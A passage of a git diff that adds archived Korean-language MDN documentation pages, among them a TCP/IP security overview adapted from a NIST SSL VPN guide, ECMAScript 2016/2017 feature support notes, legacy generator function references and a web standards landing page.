+   <td><a href="ko/RSS/Version/2.0/2002-11-11">RSS 2.0 (post 2002-11-11)</a></td>
+   <td><span title="This deprecated API should no longer be used, but will probably still work."><i class="icon-thumbs-down-alt"> </i></span></td>
+   <td class="small">November 11, 2002</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+  <tr>
+   <td><a href="ko/RSS/Version/2.0/2003-01-21">RSS 2.0 (post 2003-01-21)</a></td>
+   <td>Standard</td>
+   <td class="small">January 21, 2003</td>
+   <td><a href="ko/XML">XML</a></td>
+   <td class="small">Userland</td>
+  </tr>
+ </tbody>
+</table>
+<p></p>
diff --git a/files/ko/archive/security/index.html b/files/ko/archive/security/index.html
new file mode 100644
index 0000000000..74823c8f52
--- /dev/null
+++ b/files/ko/archive/security/index.html
@@ -0,0 +1,14 @@
+---
+title: Security
+slug: Archive/Security
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Security
+---
+<p><strong><span class="seoSummary">Relying on these obsolete security articles is highly discouraged. Doing so may put your systems at risk.</span></strong></p>
+
+<div class="row topicpage-table">
+    <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Digital_Signatures">Digital Signatures</a></dt><dd class="landingPageList">Encryption and decryption address the problem of eavesdropping, one of the three Internet security issues mentioned at the beginning of this document. But encryption and decryption, by themselves, do not address another problem: tampering.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Encryption_and_Decryption">Encryption and Decryption</a></dt><dd class="landingPageList">Encryption is the process of transforming information so it is unintelligible to anyone but the intended recipient. Decryption is the process of transforming encrypted information so that it is intelligible again.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Introduction_to_Public-Key_Cryptography">Introduction to Public-Key Cryptography</a></dt><dd class="landingPageList">Public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and Secure Sockets Layer (SSL) communications. This document introduces the basic concepts of public-key cryptography. For an overview of SSL, see "<a href="/en/Introduction_to_SSL" title="en/Introduction_to_SSL">Introduction to SSL</a>." For an overview of encryption and decryption, see "<a href="/en-US/docs/Encryption_and_Decryption">Encryption and Decryption</a>." Information on digital signatures is available from "<a href="/en-US/docs/Digital_Signatures">Digital Signatures</a>."</dd></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Introduction_to_SSL">Introduction to SSL</a></dt><dd class="landingPageList">This document introduces the Secure Sockets Layer (SSL) protocol. SSL has been universally accepted on the World Wide Web for authenticated and encrypted communication between clients and servers.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/NSPR_engineering_guide">NSPR Release Engineering Guide</a></dt><dd class="landingPageList">This paper is for engineers performing formal release for the NetScape Portable Runtime (NSPR) across all platforms.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/SSL_and_TLS">SSL and TLS</a></dt><dd class="landingPageList">The Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers. Both client and server authentication occur over SSL/TLS.</dd></dl></div>
+    </div>
diff --git a/files/ko/archive/security/tcp_ip/index.html b/files/ko/archive/security/tcp_ip/index.html
new file mode 100644
index 0000000000..983b83b308
--- /dev/null
+++ b/files/ko/archive/security/tcp_ip/index.html
@@ -0,0 +1,50 @@
+---
+title: TCP/IP 보안
+slug: Archive/Security/TCP_IP
+translation_of: Archive/Security/TCP_IP
+---
+<p>{{draft}}</p>
+
+<p>TCP/IP 는 네트워크 통신을 위해 전세계적으로 사용되고 있다.  TCP/IP 통신에서는 네 개의 계층이 관여한다. 유저가 네트워크를 통해 데이터를 보내고 싶은 경우, 데이터는 높은 계층에서 중간 계층을 거쳐 하위 계층으로 전달되며, 전달되는 과정에서 추가적인 정보들이 추가된다.  각 계층에서 logical unit은 header와 payload로 구성되어 있다. <em>Payload</em>는 이전의 계층에서 받은 정보들을 담고 있으며, <em>header</em>는 주소와 같이 계층의 상세정보를 담고있다. 응용계층에서 payload는 실제 application 데이터다. 가장 낮은 계층은 축적된 모든 정보를 물리적인 네트워크를 통해 데이터를 전달한다. 전달된 데이터는 다시 하위 계층에서 상위 계층으로 전달되어 목적지에 도달한다. 한 계층에서 캡슐화된 데이터는 하위 계층에 있는 더 큰 컨테이너에 캡슐화된다. 아래는 네 개의 TCP/IP 계층을 높은 계층 순으로 나열한 것이다.</p>
+
+<ul>
+ <li><strong>응용 계층(Application Layer).</strong>  이 계층은 Domain Name System (DNS), HyperText Transfer Protocol (HTTP), Simple Mail Transfer Protocol (SMTP)와 같은 특정 어플리케이션들을 위해 데이터를 송수신한다.</li>
+ <li><strong>전송 계층(Transport Layer).</strong> 이 계층은 네트워크 간에 응용 계층 서비스들을 위한 연결 지향적(connection-oriented), 비연결 지향적(connectionless) 서비스들을 제공한다. 전송 계층은 선택적으로 통신의 신뢰성을 보장할 수 있다.Transmission Control Protocol (TCP) 와 User Datagram Protocol (UDP)는 흔하게 사용하는 전송 계층 프로토콜이다.</li>
+ <li><strong>네트워크 계층(Network Layer)</strong><strong>.</strong> 이 계층은 패킷(packet)을 네트워크 상에서 이동시키는 역할을 한다. Internet Protocol (IP)는 TCP/IP를 위한 가장 기초적인 네트워크 계층 프로토콜이다. 네트워크 계층에서 사용되는 또 다른 프로토콜은 Internet Control Message Protocol (ICMP) 와 Internet Group Management Protocol (IGMP)가 있다.</li>
+ <li><strong>링크 계층(Link Layer)</strong><strong>.</strong> 이 계층은 물리적인 네트워크 구성 요소에서 사이에서 일어나는 통신을 담당한다. 가장 잘 알려진 링크 계층 프로토콜로는 이더넷(Ethernet)이 있다.</li>
+</ul>
+
+<dl>
+ <dt>TCP/IP 모델에서 각 계층마다 네트워크 통신을 위한 보안 제어(security control)가 존재한다. 이전에 언급되었듯이, 데이터를 상위계층에서 하위계층으로 전달되며, 각 계층을 통과할 때마다 정보가 추가된다. 이러한 이유로, 상위 계층에서의 보안 제어(security control)는 하위 계층의 보안을 제공할 수 없다. 또한, 하위 계층에서는 상위 계층이 모르게 작동하는 부분들을 상위 계층이 커버해줄 수 없다. 각 계층에서 담당하는 보안 제어 방법들:</dt>
+</dl>
+
+<ul style="list-style-type: square;">
+ <li><strong>응용계층</strong><strong>.</strong> 각 어플리케이션마다 제어 방법을 따로 수립해야한다. 예를 들어, 만약 어플리케이션이 네트워크를 통해 민감한 정보를 보내려 할 때 이 정보를 보호하고 싶다면, 어플리케이션에서의 설정을 변경하여 정보보호를 제공해 줄 수 있을것이다. 이러한 방식은 어플리케이션에 높은 수준의 보안과 유연함을 제공해주지만, 제어방법들을 추가하고 설정하는데에 많은 양의 자원과 투자가 요구된다. 암호학적으로 안전한 응용 프로토콜을 디자인하는 것은 매우 어려운 작업이며, 이를 올바르게 사용하는 것은 더욱 어렵다. 그러므로, 새로운 응용 계층 보안 프로토콜을 만드는 것은 취약점을 만들기 마련이다. 그에 더해, 특히 상용 소프트웨어들은 안전하지 않을 수 있다. 응용 계층 프로토콜들은 응용 계층의 정보를 보호할 수 있지만, 하위 계층에 존재하는 IP주소와 같은 TCP/IP 정보들은 보호하지 못한다. 가급적이면 네트워크 통신을 보호하기 위한 응용 계층의 제어 방식들은 어느 정도의 기간동안 사용되어온 표준 기반 해결책들이어야 한다. 한 가지 예로 이메일을 암호화하기 위해 쓰이는 Secure Multipurpose Internet Mail Extensions (S/MIME)가 있다.</li>
+ <li><strong>전송계층</strong><strong>.</strong>  이 계층에서의 제어는 두 호스트 간에 단일 통신 세션 안에서의 데이터를 보호할 수 있다. IP주소는 네트워크 계층에서 추가되기 때문에, 전송 계층에서는 이를 보호할 방법이 없다. 전송 계층 프로토콜에서 가장 대표적으로 사용되는 것은 TLS로, HTTP 트래픽을 보호하는데에 사용된다. (TLS는 SSL 버전 3의 표준 기반 버전이다. TLS에 관한 추가 정보는 RFC 4346, <em>The TLS Protocol Version 1.1</em>, <a href="https://www.ietf.org/rfc/rfc4346.txt">https://www.ietf.org/rfc/rfc4346.txt</a>에서 찾아볼 수 있다.  또 다른 좋은 자료: NIST SP 800-52,<em> Guidelines on the Selection and Use of Transport Layer Security</em>, 에서 확인 가능<a href="https://csrc.nist.gov/publications/nistpubs/">https://csrc.nist.gov/publications/nistpubs/</a>.) TLS는 어플리케이션이 TLS를 지원해야만 사용가능하다, 그러나 응용 계층 제어와 달리, 전송 계층에서의 TLS와 같은 제어는 응용 계층에서의 작업을 이해 못하기 때문에 침입에 덜 취약하다. TLS를 사용하므로써 어플리케이션에 변동이 필요하겠지만, TLS은 많이 사용되고 있으며 많은 어플리케이션에 적용된, 잘 테스트된 프로토콜이다. 그러므로 응용 계층에 보호를 더하는 것보다 TLS를 선택하는 것이 비교적 안전한 선택이다. 관습적으로, TLS는 HTTP기반의 통신들을 보호하기 위해 사용되어 왔으며 SSL 포털 VPN을 통해 사용될 수 있다.</li>
+ <li><strong>네트워크 계층</strong><strong>.</strong>  이 계층에서의 제어는 모든 어플리케이션에 적용될 수 있으나, 어플리케이션에 특화된 것은 아니다. For example, all network communications between two hosts or networks can be protected at this layer without modifying any applications on the clients or the servers.  In some environments, network layer controls such as Internet Protocol Security (IPsec) provide a much better solution than transport or application layer controls because of the difficulties in adding controls to individual applications.  Network layer controls also provide a way for network administrators to enforce certain security policies.  Another advantage of network layer controls is that since IP information (e.g., IP addresses) is added at this layer, the controls can protect both the data within the packets and the IP information for each packet.  However, network layer controls provide less control and flexibility for protecting specific applications than transport and application layer controls.  SSL tunnel VPNs provide the ability to secure both TCP and UDP communications including client/server and other network traffic, and therefore act as network layer VPNs.</li>
+ <li><strong>링크 계층</strong><strong>.</strong>  Data link layer controls are applied to all communications on a specific physical link, such as a dedicated circuit between two buildings or a dial-up modem connection to an Internet Service Provider (ISP).  Data link layer controls for dedicated circuits are most often provided by specialized hardware devices known as<em> data link encryptors</em>; data link layer controls for other types of connections, such as dial-up modem communications, are usually provided through software.  Because the data link layer is below the network layer, controls at this layer can protect both data and IP information.  Compared to controls at the other layers, data link layer controls are relatively simple, which makes them easier to implement; also, they support other network layer protocols besides IP.  Because data link layer controls are specific to a particular physical link, they cannot protect connections with multiple links, such as establishing a VPN over the Internet.  An Internet-based connection is typically composed of several physical links chained together; protecting such a connection with data link layer controls would require deploying a separate control to each link, which is not feasible.  Data link layer protocols have been used for many years primarily to provide additional protection for specific physical links that should not be trusted.</li>
+</ul>
+
+<p>Because they can provide protection for many applications at once without modifying them, network layer security controls have been used frequently for securing communications, particularly over shared networks such as the Internet.  Network layer security controls provide a single solution for protecting data from all applications, as well as protecting IP information.  Nevertheless, in many cases, controls at another layer are better suited to providing protection than network layer controls.  For example, if only one or two applications need protection, a network layer control may be excessive.  Transport layer protocols such as SSL are most commonly used to provide security for communications with individual HTTP-based applications, although they are also used to provide protection for communication sessions of other types of applications such as SMTP, Point of Presence (POP), Internet Message Access Protocol (IMAP), and File Transfer Protocol (FTP).  Because all major Web browsers include support for TLS, users who wish to use Web-based applications that are protected by TLS normally do not need to install any client software or reconfigure their systems.  Newer applications of transport layer security protocols protect both HTTP and non-HTTP application communications, including client/server applications and other network traffic.  Controls at each layer offer advantages and features that controls at other layers do not.</p>
+
+<p>SSL is the most commonly used transport layer security control.  Depending on how SSL is implemented and configured, it can provide any combination of the following types of protection:</p>
+
+<ul style="list-style-type: square;">
+ <li><strong>Confidentiality</strong><strong>.</strong>  SSL can ensure that data cannot be read by unauthorized parties.  This is accomplished by encrypting data using a cryptographic algorithm and a secret key—a value known only to the two parties exchanging data.  The data can only be decrypted by someone who has the secret key.</li>
+ <li><strong>Integrity</strong><strong>.</strong>  SSL can determine if data has been changed (intentionally or unintentionally) during transit.  The integrity of data can be assured by generating a message authentication code (MAC) value, which is a keyed cryptographic checksum of the data.  If the data is altered and the MAC is recalculated, the old and new MACs will differ.</li>
+ <li><strong>Peer Authentication</strong><strong>.</strong>  Each SSL endpoint can confirm the identity of the other SSL endpoint with which it wishes to communicate, ensuring that the network traffic and data is being sent from the expected host.  SSL authentication is typically performed one-way, authenticating the server to the client, but it can be performed mutually.</li>
+ <li><strong>Replay Protection</strong><strong>.  </strong>The same data is not delivered multiple times, and data is not delivered grossly out of order.</li>
+</ul>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+
+<ul>
+ <li>Author(s): Sheila Frankel, Paul Hoffman, Angela Orebaugh, and Richard Park</li>
+ <li>Title: National Institute of Standards and Technology (NIST) Special Publication 800-113, Guide to SSL VPNs</li>
+ <li>Last Updated Date: July 2008</li>
+ <li>Copyright Information: This document is not subject to copyright.</li>
+</ul>
+</div>
+
+<p>{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}</p>
diff --git a/files/ko/archive/web/index.html b/files/ko/archive/web/index.html
new file mode 100644
index 0000000000..fe223d9b2a
--- /dev/null
+++ b/files/ko/archive/web/index.html
@@ -0,0 +1,12 @@
+---
+title: Archived open Web documentation
+slug: Archive/Web
+tags:
+  - Archived
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Archive/Web
+---
+<p>The documentation listed below is archived, obsolete material about open Web topics.</p>
+<p></p><dl><dt class="landingPageList"><a href="/ko/docs/E4X">E4X</a></dt><dd class="landingPageList"><b>ECMAScript for XML</b> (<b>E4X</b>)는 <a href="ko/JavaScript">JavaScript</a>에 native <a href="ko/XML">XML</a> 지원을 더하는 프로그래밍 언어 확장기능입니다. E4X는 ECMAScript 프로그래머에게 자연스러운 형식으로 XML 문서 접근 방법을 제공하여 이를 수행합니다. 목표는 <a href="ko/DOM">DOM</a> 인터페이스를 통하기보다는 XML 문서에 접근하기 더 간단한 대체 구문 제공입니다.</dd><dt class="landingPageList"><a href="/ko/docs/XForms">XForms</a></dt><dd class="landingPageList"><span class="comment">Categories</span></dd></dl><p></p>
diff --git a/files/ko/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html b/files/ko/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html
new file mode 100644
index 0000000000..da862c184a
--- /dev/null
+++ b/files/ko/archive/web/javascript/ecmascript_7_support_in_mozilla/index.html
@@ -0,0 +1,98 @@
+---
+title: ECMAScript Next support in Mozilla
+slug: Archive/Web/JavaScript/ECMAScript_7_support_in_Mozilla
+translation_of: Archive/Web/JavaScript/ECMAScript_Next_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>ECMAScript 2016 는 (흔히 <a href="/en-US/docs/Web/JavaScript">JavaScript</a>로 알려져 있는) ECMA-262 표준의 차세대 버전 입니다. ECMAScript 2015이 2015년 6월 17일에 확정되었음에도 불구하고 새로운 특징들이 이미 제안되고 있습니다. 기능 제안에 대한 최신 후보들은 <a href="https://github.com/tc39/ecma262">tc39/ecma262</a> GitHub 저장소에서 보실 수 있습니다.</p>
+
+<p>현재 규격 개발에 관한 사항들은 각 기능들에 대한 <em>stages</em>와 <em>champions</em>를 안내하면서 해결할 예정입니다. 또한, 2년마다 표준을 배포하는 것이 제안되어 있습니다. post-ES2015 규격 처리방안에 대해 더 알고싶으시다면, <a href="http://slides.com/rafaelweinstein/tc39-process">Rafael Weinstein의 발표자료</a>를 참고하세요.</p>
+
+<p>ECMAScript 표준에 대한 피드백을 위한 채널은 <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a> 입니다.</p>
+
+<h2 id="ECMAScript_2016">ECMAScript 2016</h2>
+
+<p> </p>
+
+<p>다음 ES2016기능들이 구현되었습니다.</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}} (Firefox 43)</li>
+ <li>{{jsxref("TypedArray.prototype.includes()")}} (Firefox 43)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/function*">Generators</a> and <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">generator methods</a> are no longer constructable (Firefox 43)</li>
+ <li>Proxy <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/enumerate">enumerate</a> handler removed (Firefox 47)</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">Exponentiation operator</a> (Firefox 52)</li>
+ <li>{{jsxref("Functions/rest_parameters", "Rest parameter destructuring", "#Destructuring_rest_parameters", 1)}} (Firefox 52)</li>
+</ul>
+
+<h2 id="ECMAScript_2017">ECMAScript 2017</h2>
+
+<p>다음 ES2017기능들이 구현되었습니다.</p>
+
+<p> </p>
+
+<ul>
+ <li>{{jsxref("Object.values()")}} and {{jsxref("Object.entries()")}} (Firefox 47)</li>
+ <li>{{jsxref("String.prototype.padEnd()")}} (Firefox 48)</li>
+ <li>{{jsxref("String.prototype.padStart()")}} (Firefox 48)</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptors()")}} (Firefox 50)</li>
+ <li>Async Functions
+  <ul>
+   <li>{{jsxref("Statements/async_function", "async function")}} (Firefox 52)</li>
+   <li>{{jsxref("Operators/async_function", "async function expression")}} (Firefox 52)</li>
+   <li>{{jsxref("AsyncFunction")}} (Firefox 52)</li>
+   <li>{{jsxref("Operators/await", "await")}} (Firefox 52)</li>
+  </ul>
+ </li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Trailing_commas">Trailing commas in function parameter lists</a> (Firefox 52)</li>
+</ul>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="실험_단계(특성)">실험 단계(특성)</h2>
+
+<p>다음 기능은 이미 구현되어 있지만,  <a href="http://nightly.mozilla.org/">Firefox Nightly channel</a>에서만 이용 가능합니다.:</p>
+
+<h3 id="Additions_to_the_ArrayBuffer_object">Additions to the <code>ArrayBuffer</code> object</h3>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer.transfer()")}} (<a href="https://gist.github.com/lukewagner/2735af7eea411e18cf20">spec</a>)</li>
+</ul>
+
+<h3 id="New_TypedObject_objects">New TypedObject objects</h3>
+
+<ul>
+ <li>Based on <a href="https://github.com/dslomov-chromium/typed-objects-es7">Typed Objects draft</a>, and exposed via a global <code>TypedObject</code> object, e.g. <code>TypedObject.StructType</code> &amp; <code>TypedObject.ArrayType</code>. This feature is non-standard and not documented.</li>
+</ul>
+
+<div class="hidden">
+<p>See <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1336740">https://bugzilla.mozilla.org/show_bug.cgi?id=1336740</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=578700">https://bugzilla.mozilla.org/show_bug.cgi?id=578700</a>.</p>
+</div>
+
+<h3 id="New_SIMD_objects">New SIMD objects</h3>
+
+<ul>
+ <li><a href="https://github.com/johnmccutchan/ecmascript_simd">SIMD specification draft and polyfill</a></li>
+</ul>
+
+<p> </p>
+
+<h3 id="New_Shared_Memory_objects">New Shared Memory objects</h3>
+
+<ul>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+ <li>{{jsxref("Atomics")}}</li>
+</ul>
+
+<p> </p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="http://www.ecmascript.org/">ECMAScript web site</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1021376">Mozilla ES2016 tracking bug</a></li>
+ <li><a href="http://kangax.github.io/compat-table/es7/" title="http://kangax.github.io/es5-compat-table">ECMAScript 2016 support across browsers</a></li>
+</ul>
diff --git a/files/ko/archive/web/javascript/index.html b/files/ko/archive/web/javascript/index.html
new file mode 100644
index 0000000000..4687b7bf23
--- /dev/null
+++ b/files/ko/archive/web/javascript/index.html
@@ -0,0 +1,12 @@
+---
+title: JavaScript
+slug: Archive/Web/JavaScript
+translation_of: Archive/Web/JavaScript
+---
+<div class="hidden">{{JSRef}}</div>
+
+<p>{{Obsolete_Header}}</p>
+
+<p class="summary">Obsolete JavaScript features and unmaintained docs</p>
+
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/ko/archive/web/javascript/legacy_generator_function/index.html b/files/ko/archive/web/javascript/legacy_generator_function/index.html
new file mode 100644
index 0000000000..2d532f7cd9
--- /dev/null
+++ b/files/ko/archive/web/javascript/legacy_generator_function/index.html
@@ -0,0 +1,58 @@
+---
+title: 구형 생성기 함수 표현식
+slug: Archive/Web/JavaScript/Legacy_generator_function
+tags:
+  - JavaScript
+  - Non-standard
+  - Obsolete
+  - Operator
+  - Reference
+translation_of: Archive/Web/JavaScript/Legacy_generator_function
+---
+<div>{{JSSidebar("Operators")}}{{Non-standard_Header}}{{Obsolete_Header("gecko58")}}
+<div class="warning">The legacy generator function expression was a SpiderMonkey-specific feature, which is removed in Firefox 58+. For future-facing usages, consider using the {{JSxRef("Operators/function*", "function* expression")}}.</div>
+</div>
+
+<p>The <strong><code>function</code></strong> keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contain at least one {{JSxRef("Operators/yield", "yield")}} expression.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">function [<em>name</em>]([<em>param1</em>[, <em>param2[</em>, ..., <em>paramN</em>]]]) {
+   <em>statements</em>
+}</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>The function name. Can be omitted, in which case the function is <em>anonymous</em>. The name is only local to the function body.</dd>
+ <dt><code>paramN</code></dt>
+ <dd>The name of an argument to be passed to the function. A function can have up to 255 arguments.</dd>
+ <dt><code>statements</code></dt>
+ <dd>The statements which comprise the body of the function. This should contain at least one {{JSxRef("Operators/yield", "yield")}} expression.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>An overview of the usage is available on the <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">Iterators and Generators</a> page.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>Supported nowhere.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{JSxRef("Generator")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">The legacy generator function</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
+ <li>{{JSxRef("Operators/yield", "yield")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li>
+ <li>{{JSxRef("Statements/function", "function")}}</li>
+ <li>{{JSxRef("Operators/function", "function expression")}}</li>
+ <li>{{JSxRef("Function")}}</li>
+ <li>{{JSxRef("Statements/function*", "function*")}}</li>
+ <li>{{JSxRef("Operators/function*", "function* expression")}}</li>
+ <li>{{JSxRef("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+</ul>
diff --git a/files/ko/archive/web/javascript/legacy_generator_function_statement/index.html b/files/ko/archive/web/javascript/legacy_generator_function_statement/index.html
new file mode 100644
index 0000000000..d4eeadb0f0
--- /dev/null
+++ b/files/ko/archive/web/javascript/legacy_generator_function_statement/index.html
@@ -0,0 +1,59 @@
+---
+title: Legacy generator function
+slug: Archive/Web/JavaScript/Legacy_generator_function_statement
+translation_of: Archive/Web/JavaScript/Legacy_generator_function_statement
+---
+<div class="warning">The legacy generator function was a SpiderMonkey-specific feature, which is removed in Firefox 58+. For future-facing usages, consider using {{jsxref("Statements/function*", "function*")}}.</div>
+
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>레거시 생성 함수(<strong>legacy generator function statement)는</strong> 레거시 생성 함수를 지정된 매개 변수로 선언한다.</p>
+
+<p><code>functionBody</code> 와 함께 {{jsxref("Operators/yield", "yield")}}나 {{jsxref("Operators/Legacy_generator_function", "레거시 생성 함수 식", "", 1)}} 중 적어도 하나의  표현식을 사용하여 {{jsxref("Function")}} 생성자를 사용하여 함수를 정의할 수도 있다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">function <em>name</em>([<em>param</em>,[, <em>param</em>,[..., <em>param</em>]]]) {
+   [<em>statements</em>]
+}
+</pre>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>함수의 이름.</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>함수에 전달할 인수의 이름. 함수는 최대 255개의 인수를 가질 수 있다.</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>함수의 본문을 구성하는 문장. 적어도 하나의 {{jsxref("Operators/yield", "yield")}} 표현식을 포함해야 한다.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>사용법에 대한 개요는  <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">반복기 및 생성기(Iterators and Generators</a>) 페이지에서 볼 수 있다.</p>
+
+<h2 id="Browser_compatibility브라우저_호환성">Browser compatibility(브라우저 호환성)</h2>
+
+<p>Supported nowhere.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Generator")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Legacy_generator_function">The legacy generator function expression</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope">Functions and function scope</a></li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+</ul>
diff --git a/files/ko/archive/web_standards/index.html b/files/ko/archive/web_standards/index.html
new file mode 100644
index 0000000000..1ef58a9097
--- /dev/null
+++ b/files/ko/archive/web_standards/index.html
@@ -0,0 +1,64 @@
+---
+title: Web Standards
+slug: Archive/Web_Standards
+tags:
+  - Web Standards
+translation_of: Archive/Web_Standards
+---
+<div><b>웹 표준</b>은 웹 상에 출판된 어떤 문서의 수명(viability)을 장시간 보장하는 동시에 웹 사용자 최대 다수에게 최대 이익을 전달하도록 주의해서 설계되었습니다. 이 표준으로 설계하고 제작함은 더 많은 사람과 더 많은 종류의 인터넷 장치에 접근 가능한 사이트를 만드는 동시에 생산을 쉽게 하고 생산 비용을 줄이게 됩니다. 이 지침에 따라 개발한 사이트는 기존 데스크탑 브라우저가 진화하고 새 인터넷 장치가 시장에 나오더라도 계속 정확히 작동할 것입니다. <sup><a href="https://developer.mozilla.org/ko/docs/Archive/Web_Standards#endnote_1">[1]</a></sup></div>
+<table class="topicpage-table">
+<tbody><tr><td>
+<h4 id=".EB.AC.B8.EC.84.9C" name=".EB.AC.B8.EC.84.9C"> <a>문서</a> </h4>
+<dl><dt> <a href="ko/Migrate_apps_from_Internet_Explorer_to_Mozilla">Migrate apps from Internet Explorer to Mozilla</a><br>
+</dt><dd> <small>IE에 종속된 웹 응용프로그램을 Mozilla로 작업하기 위해 어려움을 겪은 적이 있으세요? 이 글에서는 웹 응용프로그램을 오픈 소스 Mozilla에 기반을 둔 브라우저로의 이관(Migration)과 관련 있는 공통 쟁점을 다룹니다.</small>
+</dd></dl>
+<dl><dt> <a class="external" href="http://www.mozilla.org/docs/web-developer/upgrade_2.html">Using Web Standards in your Web Pages</a>
+</dt><dd> <small>이 페이지에서는 W3C 웹 표준을 따르는 웹 페이지의 컨텐츠를 업그레이드하는 과정의 개요를 제공합니다.</small>
+</dd></dl>
+<dl><dt> <a href="ko/Choosing_Standards_Compliance_Over_Proprietary_Practices">Choosing Standards Compliance Over Proprietary Practices</a>
+</dt><dd> <small>개발하다 보면, 어플리케이션을 다양한 개발 그룹에 걸쳐 설계하기 때문에 표준이 필요합니다.</small>
+</dd></dl>
+<dl><dt> <a href="ko/The_Business_Benefits_of_Web_Standards">The Business Benefits of Web Standards</a>
+</dt><dd> <small>이 기사는 웹 표준에 충실하고 회사의 사업 목표에 기여할 수 있는 독점(proprietary) 마크업과 기술을 뒤에 남기는 법에 관해 의견을 나눕니다.</small>
+</dd></dl>
+<p><span class="alllinks"><a>모두 보기...</a></span>
+</p>
+</td>
+<td>
+<h4 id=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0" name=".EC.BB.A4.EB.AE.A4.EB.8B.88.ED.8B.B0"> 커뮤니티 </h4>
+<h5 id=".EA.B5.AD.EB.82.B4" name=".EA.B5.AD.EB.82.B4"> 국내 </h5>
+<ul><li> <a class="external" href="http://www.webstandard.or.kr/">웹 표준화 프로젝트</a>
+</li><li> <a class="external" href="http://www.standardmag.org/">Standard Magazine</a>
+</li></ul>
+<h5 id=".EA.B5.AD.EC.99.B8" name=".EA.B5.AD.EC.99.B8"> 국외 </h5>
+<ul><li> Mozilla 포럼 보기...
+</li></ul>
+<p></p><ul>
+  <li><a href="https://lists.mozilla.org/listinfo/dev-web-development"> 메일링 리스트</a></li>
+
+
+  <li><a href="http://groups.google.com/group/mozilla.dev.web-development"> 뉴스그룹</a></li>
+  <li><a href="http://groups.google.com/group/mozilla.dev.web-development/feeds"> 웹 Feed</a></li>
+</ul>
+<p></p>
+<ul><li> <a class="external" href="http://webstandards.org/">The Web Standards Project</a>
+</li><li> <a class="external" href="http://webdevfeedhouse.com/">WebDev FeedHouse</a>
+</li><li> <a href="ko/Web_Standards/Community">Other community links...</a>
+</li></ul>
